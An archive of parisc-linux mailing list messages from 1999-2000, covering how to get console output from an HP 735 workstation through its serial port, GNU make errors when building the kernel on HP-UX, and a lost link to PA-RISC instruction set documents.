Original-Received: (qmail 22477 invoked from network); 1 Apr 2000 10:14:26 -0000
Original-Received: from unknown (HELO morph.net) (root@128.163.244.20)
  by mailserv2.iuinc.com with SMTP; 1 Apr 2000 10:14:26 -0000
Original-Received: from localhost (funnyguy@localhost)
	by morph.net (8.9.3/8.9.3) with ESMTP id FAA03296;
	Sat, 1 Apr 2000 05:14:25 -0500
X-Authentication-Warning: morph.net: funnyguy owned process doing -bs
X-Sender: funnyguy@morph.net
In-Reply-To: <20000401100304.4404.qmail@hotmail.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7145

i've completely disconnected the HD.  there are no bootable drives, i just
want to get into the firmware to start.

mike

On Sat, 1 Apr 2000, Bas Valkema wrote:

> Had the same problem, was a bad HD.... or the wrong HP-UX Kernel (e.g. 800
> series kernel on a 700 series machine)
> 
> hope this helps,
> 
> BaZ
> ----- Original Message -----
> From: Mike Brancato <funnyguy@digitalsmackdown.net>
> To: <parisc-linux@thepuffingroup.com>
> Sent: Saturday, April 01, 2000 10:42 AM
> Subject: [parisc-linux] 735/125 boot problem?
> 
> 
> > we have another 735 here, and like, if i leave th HD connected, it shows
> > HPUX trying to start, but just sits at the screen with the yellow displays
> > at teh bottom.  if i disconnect the HD it does nothing, but reports
> > 1,3,6,8 on the lights, which isn't in the user manual.  any clues?this
> > could be another linux machine.
> >
> > mike
> >
> > --------------------------------------------------------------------------
> -
> > To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com
> with
> > `unsubscribe' as the subject.
> 


From - Thu Nov 08 21:12:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/125 boot problem?
Date: Sat, 01 Apr 2000 09:55:52 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <200004011755.JAA28068@milano.cup.hp.com>
References: <Pine.LNX.4.10.10004010340190.1371-100000@morph.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618871 31851 80.91.229.3 (22 Nov 2014 01:14:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Mike Brancato <funnyguy@digitalsmackdown.net>
Original-X-From: grundler@cup.hp.com  Sat Apr  1 10:53:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA07416
	for <parisc-linux@puffin.external.hp.com>; Sat, 1 Apr 2000 10:53:29 -0700
Original-Received: (qmail 23055 invoked by uid 15267); 1 Apr 2000 17:53:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23047 invoked from network); 1 Apr 2000 17:53:28 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 1 Apr 2000 17:53:28 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel1.hp.com (Postfix) with ESMTP
	id A8AD111B; Sat,  1 Apr 2000 12:53:27 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id JAA28068; Sat, 1 Apr 2000 09:55:52 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 01 Apr 2000 03:42:36 PST."
             <Pine.LNX.4.10.10004010340190.1371-100000@morph.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:7146


Mike Brancato wrote:
> we have another 735 here, and like, if i leave th HD connected, it shows
> HPUX trying to start, but just sits at the screen with the yellow displays
> at teh bottom.

Mike,
Have you tried connecting to the serial port? (9600, 8, N, 1)

The console might be directed to the serial port and nothing
will show up on the monitor until X11 is started. I think the
yellow boxes at the bottom are an artifact from the graphics
firmware support for function keys.

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Brancato <funnyguy@digitalsmackdown.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/125 boot problem?
Date: Sat, 1 Apr 2000 13:22:36 -0500 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10004011321470.31150-100000@morph.net>
References: <200004011755.JAA28068@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618871 31853 80.91.229.3 (22 Nov 2014 01:14:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:31 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: funnyguy@digitalsmackdown.net  Sat Apr  1 11:22:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA07732
	for <parisc-linux@puffin.external.hp.com>; Sat, 1 Apr 2000 11:22:43 -0700
Original-Received: (qmail 5384 invoked by uid 15267); 1 Apr 2000 18:22:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5365 invoked from network); 1 Apr 2000 18:22:37 -0000
Original-Received: from unknown (HELO morph.net) (root@128.163.244.20)
  by mailserv2.iuinc.com with SMTP; 1 Apr 2000 18:22:37 -0000
Original-Received: from localhost (funnyguy@localhost)
	by morph.net (8.9.3/8.9.3) with ESMTP id NAA31156
	for <parisc-linux@thepuffingroup.com>; Sat, 1 Apr 2000 13:22:36 -0500
X-Authentication-Warning: morph.net: funnyguy owned process doing -bs
X-Sender: funnyguy@morph.net
In-Reply-To: <200004011755.JAA28068@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7147

this is booting hpux., it should show up on the graphics card.

mike

On Sat, 1 Apr 2000, Grant Grundler wrote:

> 
> Mike Brancato wrote:
> > we have another 735 here, and like, if i leave th HD connected, it shows
> > HPUX trying to start, but just sits at the screen with the yellow displays
> > at teh bottom.
> 
> Mike,
> Have you tried connecting to the serial port? (9600, 8, N, 1)
> 
> The console might be directed to the serial port and nothing
> will show up on the monitor until X11 is started. I think the
> yellow boxes at the bottom are an artifact from the graphics
> firmware support for function keys.
> 
> grant
> 
> Grant Grundler
> Unix Development Lab
> +1.408.447.7253
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


From - Thu Nov 08 21:12:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/125 boot problem?
Date: Sat, 01 Apr 2000 10:43:32 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <200004011843.KAA28128@milano.cup.hp.com>
References: <Pine.LNX.4.10.10004011321470.31150-100000@morph.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618871 31856 80.91.229.3 (22 Nov 2014 01:14:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Mike Brancato <funnyguy@digitalsmackdown.net>
Original-X-From: grundler@cup.hp.com  Sat Apr  1 11:41:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA07959
	for <parisc-linux@puffin.external.hp.com>; Sat, 1 Apr 2000 11:41:12 -0700
Original-Received: (qmail 15149 invoked by uid 15267); 1 Apr 2000 18:41:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15135 invoked from network); 1 Apr 2000 18:41:11 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 1 Apr 2000 18:41:11 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id CC301808; Sat,  1 Apr 2000 10:41:10 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id KAA28128; Sat, 1 Apr 2000 10:43:36 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 01 Apr 2000 13:22:36 PST."
             <Pine.LNX.4.10.10004011321470.31150-100000@morph.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:7148

Mike Brancato wrote:
> this is booting hpux., it should show up on the graphics card.

Mike,
It's obviously not showing up on the graphics card.
Try the serial port.

HP-UX can use the serial port as a console to.
How do you think all the PA-RISC servers work?
(They have no graphics)

grant


From - Thu Nov 08 21:12:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/125 boot problem?
Date: Sat, 1 Apr 2000 20:35:17 -0700 (MST)
Lines: 34
Approved: news@gmane.org
Message-ID: <200004020335.UAA09060@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618872 31858 80.91.229.3 (22 Nov 2014 01:14:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Sun Apr  2 03:12:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA12470
	for <parisc-linux@puffin.external.hp.com>; Sun, 2 Apr 2000 03:12:06 -0600
Original-Received: (qmail 20967 invoked by uid 15267); 2 Apr 2000 09:12:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7350 invoked from network); 2 Apr 2000 03:35:19 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 2 Apr 2000 03:35:19 -0000
Original-Received: from udlkern.fc.hp.com (jsm@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id UAA26313
	for <parisc-linux@thepuffingroup.com>; Sat, 1 Apr 2000 20:35:18 -0700 (MST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.1) id UAA09060 for parisc-linux@thepuffingroup.com; Sat, 1 Apr 2000 20:35:17 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:7149


> this is booting hpux., it should show up on the graphics card.
>
> mike
>
> On Sat, 1 Apr 2000, Grant Grundler wrote:
>
> >
> > Mike Brancato wrote:
> > > we have another 735 here, and like, if i leave th HD connected, it shows
> > > HPUX trying to start, but just sits at the screen with the yellow displays
> > > at teh bottom.
> >
> > Mike,
> > Have you tried connecting to the serial port? (9600, 8, N, 1)
> >
> > The console might be directed to the serial port and nothing
> > will show up on the monitor until X11 is started. I think the
> > yellow boxes at the bottom are an artifact from the graphics
> > firmware support for function keys.

Mike,

Grant is correct. Your console is set to the serial port. The only
error in his response is that the yellow boxes are not put there by
the firmware. They are put there by the ite driver (internal terminal
emulator), which means that you succeeded in loading hp-ux and
it ran enough for the ite driver to draw the yellow boxes. If you
saw nothing on your display before this that indicates that your
console is set to the serial port rather than the graphics card.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:12:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Brancato <funnyguy@digitalsmackdown.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/125 boot problem?
Date: Sun, 2 Apr 2000 06:49:40 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10004020647050.978-100000@morph.net>
References: <200004020335.UAA09060@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618872 31861 80.91.229.3 (22 Nov 2014 01:14:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:32 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: funnyguy@digitalsmackdown.net  Sun Apr  2 12:30:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA16622
	for <parisc-linux@puffin.external.hp.com>; Sun, 2 Apr 2000 12:30:11 -0600
Original-Received: (qmail 861 invoked by uid 15267); 2 Apr 2000 18:30:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11820 invoked from network); 2 Apr 2000 10:49:45 -0000
Original-Received: from unknown (HELO morph.net) (root@128.163.240.13)
  by mailserv2.iuinc.com with SMTP; 2 Apr 2000 10:49:45 -0000
Original-Received: from localhost (funnyguy@localhost)
	by morph.net (8.9.3/8.9.3) with ESMTP id GAA00989;
	Sun, 2 Apr 2000 06:49:41 -0400
X-Authentication-Warning: morph.net: funnyguy owned process doing -bs
X-Sender: funnyguy@morph.net
In-Reply-To: <200004020335.UAA09060@udlkern.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7150


is there a way to reset the firmware to display on the graphics card?  i
guess if all else fails i can hook a palm to it....

mike

On Sat, 1 Apr 2000, John Marvin wrote:

> Mike,
> 
> Grant is correct. Your console is set to the serial port. The only
> error in his response is that the yellow boxes are not put there by
> the firmware. They are put there by the ite driver (internal terminal
> emulator), which means that you succeeded in loading hp-ux and
> it ran enough for the ite driver to draw the yellow boxes. If you
> saw nothing on your display before this that indicates that your
> console is set to the serial port rather than the graphics card.
> 
> John Marvin
> jsm@fc.hp.com
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


From - Thu Nov 08 21:12:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: BOSCHINI@ICIL64.CILEA.IT
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel make oldconfig error on HP-735 10.20
Date: Mon, 03 Apr 2000 11:54:05 +0000 (MET-01DST)
Lines: 24
Approved: news@gmane.org
Message-ID: <01JNSQTRUTAQ0010PS@ICIL64.CILEA.IT>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416618872 31864 80.91.229.3 (22 Nov 2014 01:14:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:32 +0000 (UTC)
Cc: BOSCHINI@cilea.it
To: PARISC-LINUX@THEPUFFINGROUP.COM
Original-X-From: BOSCHINI@ICIL64.CILEA.IT  Mon Apr  3 03:54:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA22397
	for <parisc-linux@puffin.external.hp.com>; Mon, 3 Apr 2000 03:54:45 -0600
Original-Received: (qmail 12201 invoked by uid 15267); 3 Apr 2000 09:54:45 -0000
Delivered-To: thepuffi-PARISC-LINUX@THEPUFFINGROUP.COM
Original-Received: (qmail 12188 invoked from network); 3 Apr 2000 09:54:44 -0000
Original-Received: from icil64.cilea.it (131.175.1.5)
  by mailserv2.iuinc.com with SMTP; 3 Apr 2000 09:54:44 -0000
Original-Received: from ICIL64.CILEA.IT by ICIL64.CILEA.IT (PMDF V5.2-31 #32154)
 id <01JNSQTRUOKW0010PS@ICIL64.CILEA.IT> for PARISC-LINUX@THEPUFFINGROUP.COM;
 Mon, 3 Apr 2000 11:54:05 MET-01DST
X-VMS-To: PARISC-LINUX@THEPUFFINGROUP.COM
X-VMS-Cc: BOSCHINI@CILEA.IT
Xref: news.gmane.org gmane.linux.ports.parisc:7151

Hi all, 

here I am again with my dumb questions: 
I finally (thanks to your help) succeeded in making and isntalling binutils and
gcc.

I gzcat'ed and tar x'ed linux-latest, but when I try a 

make oldconfig 

I get 

Make: line 9: syntax error.  Stop.


where line 9, as well as the rest of the makeifle, looks fine to me....

>From the README, it looks like I need bash, which I then installed, and set in
$BASH, but I still get the same error: any clues ?

thanks in advance, 

Matteo Boschini


From - Thu Nov 08 21:12:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gyula Matics <mgyula@gigant.sch.bme.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel make oldconfig error on HP-735 10.20
Date: Mon, 3 Apr 2000 13:06:28 +0200
Lines: 5
Approved: news@gmane.org
Message-ID: <20000403130628.A12310@gigant.sch.bme.hu>
References: <01JNSQTRUTAQ0010PS@ICIL64.CILEA.IT>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618873 31868 80.91.229.3 (22 Nov 2014 01:14:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:33 +0000 (UTC)
Cc: PARISC-LINUX@thepuffingroup.com, BOSCHINI@cilea.it
To: BOSCHINI@ICIL64.CILEA.IT
Original-X-From: mgyula@gigant.sch.bme.hu  Mon Apr  3 05:06:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA24324
	for <parisc-linux@puffin.external.hp.com>; Mon, 3 Apr 2000 05:06:42 -0600
Original-Received: (qmail 4010 invoked by uid 15267); 3 Apr 2000 11:06:41 -0000
Delivered-To: thepuffi-PARISC-LINUX@thepuffingroup.com
Original-Received: (qmail 3991 invoked from network); 3 Apr 2000 11:06:37 -0000
Original-Received: from gigant.sch.bme.hu (root@152.66.225.64)
  by mailserv2.iuinc.com with SMTP; 3 Apr 2000 11:06:37 -0000
Original-Received: (from mgyula@localhost)
	by gigant.sch.bme.hu (8.9.1/8.9.1) id NAA12355;
	Mon, 3 Apr 2000 13:06:28 +0200
X-Mailer: Mutt 1.0i
In-Reply-To: <01JNSQTRUTAQ0010PS@ICIL64.CILEA.IT>; from BOSCHINI@ICIL64.CILEA.IT on Mon, Apr 03, 2000 at 11:54:05AM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:7152


you need GNU make to compile the kernel.

Gyula


From - Thu Nov 08 21:12:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: BOSCHINI@ICIL64.CILEA.IT
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel make oldconfig error on HP-735 10.20
Date: Mon, 03 Apr 2000 14:03:44 +0000 (MET-01DST)
Lines: 60
Approved: news@gmane.org
Message-ID: <01JNSVG4EE4Y0010LR@ICIL64.CILEA.IT>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416618873 31870 80.91.229.3 (22 Nov 2014 01:14:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:33 +0000 (UTC)
To: PARISC-LINUX@THEPUFFINGROUP.COM
Original-X-From: BOSCHINI@ICIL64.CILEA.IT  Mon Apr  3 06:04:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA25022
	for <parisc-linux@puffin.external.hp.com>; Mon, 3 Apr 2000 06:04:31 -0600
Original-Received: (qmail 26893 invoked by uid 15267); 3 Apr 2000 12:04:30 -0000
Delivered-To: thepuffi-PARISC-LINUX@THEPUFFINGROUP.COM
Original-Received: (qmail 26878 invoked from network); 3 Apr 2000 12:04:26 -0000
Original-Received: from icil64.cilea.it (131.175.1.5)
  by mailserv2.iuinc.com with SMTP; 3 Apr 2000 12:04:26 -0000
Original-Received: from ICIL64.CILEA.IT by ICIL64.CILEA.IT (PMDF V5.2-31 #32154)
 id <01JNSVG4E9F40010LR@ICIL64.CILEA.IT> for PARISC-LINUX@THEPUFFINGROUP.COM;
 Mon, 3 Apr 2000 14:03:44 MET-01DST
X-VMS-To: PARISC-LINUX@THEPUFFINGROUP.COM
Xref: news.gmane.org gmane.linux.ports.parisc:7153

From:	IN%"boschini@uff16c.cilea.it"  "Matteo Boschini"  3-APR-2000 14:02:35.64
To:	IN%"mgyula@gigant.sch.bme.hu"
CC:	IN%"boschini@cilea.it"
Subj:	RE: kernel make oldconfig error on HP-735 10.20

Return-path: <boschini@uff16c.cilea.it>
Received: from DIRECTORY-DAEMON by ICIL64.CILEA.IT (PMDF V5.2-31 #32154)
 id <01JNSVESJOB40010T5@ICIL64.CILEA.IT> for boschini@ICIL64.CILEA.IT
 (ORCPT rfc822;boschini@cilea.it); Mon, 3 Apr 2000 14:02:33 MET-01DST
Received: from uff16c.cilea.it (uff16c.cilea.it [131.175.1.107])
 by ICIL64.CILEA.IT (PMDF V5.2-31 #32154)
 with ESMTP id <01JNSVERUORC00108J@ICIL64.CILEA.IT> for boschini@cilea.it; Mon,
 03 Apr 2000 14:02:32 +0000 (MET-01DST)
Received: from localhost (boschini@localhost)	by uff16c.cilea.it (8.9.3/8.9.3)
 with ESMTP id OAA01349; Mon, 03 Apr 2000 14:04:57 +0200
Date: Mon, 03 Apr 2000 14:04:57 +0200 (CEST)
From: Matteo Boschini <boschini@uff16c.cilea.it>
Subject: RE: kernel make oldconfig error on HP-735 10.20
To: mgyula@gigant.sch.bme.hu
Cc: boschini@cilea.it
Message-id: <Pine.LNX.4.21.0004031359590.1332-100000@uff16c.cilea.it>
MIME-version: 1.0
Content-type: TEXT/PLAIN; charset=US-ASCII
Original-recipient: rfc822;boschini@cilea.it


Yes, I found out...

But still, while running gmake oldconfig, I get the following errors:


/bin/bash: invalid character 45 in exportstr for DRIVERS-y
/bin/bash: invalid character 45 in exportstr for DRIVERS-
/bin/bash: invalid character 45 in exportstr for DRIVERS-m
/bin/bash: invalid character 45 in exportstr for DRIVERS-n

and so forth....

and when I try running 

gmake dep

I get

/bin/bash: invalid character 45 in exportstr for DRIVERS-y 
/bin/bash: invalid character 45 in exportstr for DRIVERS-
/bin/bash: invalid character 45 in exportstr for DRIVERS-m
/bin/bash: invalid character 45 in exportstr for DRIVERS-n 
Make: Unknown flag argument C.  Stop.
gmake: *** [archdep] Error 1                                                    


any clue ?

Thanks already, 

Matteo Boschini




From - Thu Nov 08 21:12:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa-linux] PA RISC 1.1 instruction set documents.
Date: Wed, 17 Mar 1999 17:00:11 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990317165842.31802n-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618873 31875 80.91.229.3 (22 Nov 2014 01:14:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:33 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Wed Mar 17 17:00:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id RAA31440
	for <hppa-linux@sod.res.cmu.edu>; Wed, 17 Mar 1999 17:00:27 -0500
Original-Received: (qmail 14615 invoked by uid 15267); 17 Mar 1999 21:59:39 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 14608 invoked from network); 17 Mar 1999 21:59:39 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 17 Mar 1999 21:59:39 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id RAA03890
	for <hppa-linux@thepuffingroup.com>; Wed, 17 Mar 1999 17:00:11 -0500
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
Xref: news.gmane.org gmane.linux.ports.parisc:7154


The pa-risc instruction set documents that used to be correctly linked
on the project WWW pages have apparantly moved.

The URL used to be:
http://www.hp.com/nsa/pa1.1/html/acd-1.html

Does anyone know where that's gone to?  Searches I try give me a LOT of
hits.

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
HPPA/Linux Porting Team



From - Thu Nov 08 21:12:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/125 boot problem?
Date: Mon, 3 Apr 2000 08:19:02 -0500 (CDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200004031319.IAA01024@osiris.silug.org>
References: <Pine.LNX.4.10.10004010340190.1371-100000@morph.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618874 31879 80.91.229.3 (22 Nov 2014 01:14:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Mike Brancato <funnyguy@digitalsmackdown.net>
Original-X-From: steve@osiris.silug.org  Mon Apr  3 07:19:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA25856
	for <parisc-linux@puffin.external.hp.com>; Mon, 3 Apr 2000 07:19:40 -0600
Original-Received: (qmail 4723 invoked by uid 15267); 3 Apr 2000 13:19:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4715 invoked from network); 3 Apr 2000 13:19:38 -0000
Original-Received: from pm3-isdn0-173.apci.net (HELO osiris.silug.org) (206.29.113.173)
  by mailserv2.iuinc.com with SMTP; 3 Apr 2000 13:19:38 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id IAA01024;
	Mon, 3 Apr 2000 08:19:02 -0500
In-Reply-To: <Pine.LNX.4.10.10004010340190.1371-100000@morph.net> from Mike Brancato
 at "Apr 1, 2000 03:42:36 am"
X-Mailer: ELM [version 2.4ME+ PL72 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7155

Mike Brancato said:
> we have another 735 here, and like, if i leave th HD connected, it shows
> HPUX trying to start, but just sits at the screen with the yellow displays
> at teh bottom.

Just another random idea, but is there perhaps an add-on graphics
board?

I fought with a 715 for an hour once before I realized that there was
an add-on board, and the console was going to it...

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(618)398-7320             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:12:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: BOSCHINI@ICIL64.CILEA.IT
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PALO on HP 735 10.20
Date: Mon, 03 Apr 2000 16:14:18 +0000 (MET-01DST)
Lines: 49
Approved: news@gmane.org
Message-ID: <01JNSZTI58320010PS@ICIL64.CILEA.IT>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
